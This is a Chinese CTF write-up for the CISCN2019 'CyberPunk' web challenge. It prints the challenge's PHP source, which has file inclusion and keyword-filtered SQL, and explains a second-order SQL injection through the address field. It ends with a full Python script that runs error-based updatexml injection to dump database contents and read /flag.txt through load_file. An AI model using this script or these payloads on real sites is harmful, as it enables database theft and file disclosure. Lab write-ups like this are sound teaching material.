[CISCN2019 华北赛区 Day1 Web5]CyberPunk
题目链接:
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
1. 查看网页源码
发现存在注释
故尝试文件包含,得到源码
index.php
//这里只把php代码贴出
<?php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
confirm.php
<?php
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>
search.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
delete.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
2. 分析后台逻辑
可以看到后台对于插入、查找、修改、删除数据时提交的字段做了sql关键词的过滤,但唯独对于插入address字段时没有过滤
可以考虑通过数据污染的方式进行二次注入
即通过插入特殊构造的address,使之在查询或修改此字段时触发非预期sql语句执行
通过分析可以看出当插入恶意address后,当更新订单时会引发sql注入
插入地址为
',user_name=(select updatexml(1,concat(0x7e,(select @@version),0x7e),1))#
修改地址
出现报错
2. 开始注入
为了练习所以写了一个脚本,实际做题时不需要这么麻烦。
import requests
import random
baseUrl = "http://62226166-69f7-4a95-afca-4be78816f7f0.node3.buuoj.cn/"
tmp = str(random.randint(0,0xffffffff))
# 提交订单
def put_order(name, phone, address):
url = baseUrl + "confirm.php"
req = requests.post(url, data={"user_name":name, "phone": phone, "address": address})
if "订单提交成功" in req.text:
return True
else:
print("put_order Error!")
return False
# 删除订单
def delete_order(name, phone):
url = baseUrl + "delete.php"
req = requests.post(url, data={"user_name":name, "phone":phone})
if "订单删除成功" in req.text:
return True
else:
print("Delete Error!")
return False
# 修改订单
def change_order(name, phone, address):
url = baseUrl + "change.php"
req = requests.post(url, data={"user_name":name, "phone":phone, "address":address})
if "errorXPATH syntax error:" in req.text:
return req.text.split('~')[1]
else:
# print("change_order Error!")
return "None"
# 报错注入获取数据库名
def get_database_name():
start = 1
length = 30
database_name = ""
while True:
put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),"+ str(start) +","+ str(length) +"),0x7e),1))#")
res = change_order(tmp, tmp, tmp) == "None"
res = ("" if res == "None" else res)
database_name += res
start += length
# print(database_name)
delete_order(tmp, tmp)
if len(res) != 30:
return database_name.split(',')
# 报错注入获取表名
def get_table_name(database_name):
start = 1
length = 30
table_name = ""
while True:
put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='"+ database_name +"'),"+ str(start) +","+ str(length) +"),0x7e),1))#")
res = change_order(tmp, tmp, tmp)
res = ("" if res == "None" else res)
table_name += res
start += length
delete_order(tmp, tmp)
if len(res) != 30:
return table_name.split(',')
# 报错注入获取列名
def get_columns(table_name):
start = 1
length = 30
column_name = ""
while True:
put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='"+ table_name +"'),"+ str(start) +","+ str(length) +"),0x7e),1))#")
res = change_order(tmp, tmp, tmp)
res = ("" if res == "None" else res)
column_name += res
start += length
delete_order(tmp, tmp)
if len(res) != 30:
return column_name.split(',')
# 报错注入获取列中所有值
def get_value(database_name, table_name, column_name):
start = 1
length = 30
value = ""
while True:
put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr((select group_concat("+ column_name +") from "+ database_name +"."+ table_name +"),"+ str(start) +","+ str(length) +"),0x7e),1))#")
res = change_order(tmp, tmp, tmp)
res = ("" if res == "None" else res)
value += res
start += length
delete_order(tmp, tmp)
if len(res) != 30:
return value.split(',')
# 报错注入读取文件
def get_file(file):
start = 1
length = 30
text = ""
while True:
put_order(tmp, tmp, "',user_name=(select updatexml(1,concat(0x7e,substr(load_file('"+ file +"'),"+ str(start) +","+ str(length) +"),0x7e),1))#")
res = change_order(tmp, tmp, tmp)
res = ("" if res == "None" else res)
text += res
start += length
delete_order(tmp, tmp)
if len(res) != 30:
return text
if __name__=="__main__":
# information_schema
# ctftraining
# mysql
# performance_schema
# test
# ctfusers
# database = "ctftraining"
# for table in get_table_name(database):
# for column in get_columns(table):
# print(database +"."+ table +"."+ column +":", end='')
# print(get_value(database, table, column))
print(get_file("/flag.txt"))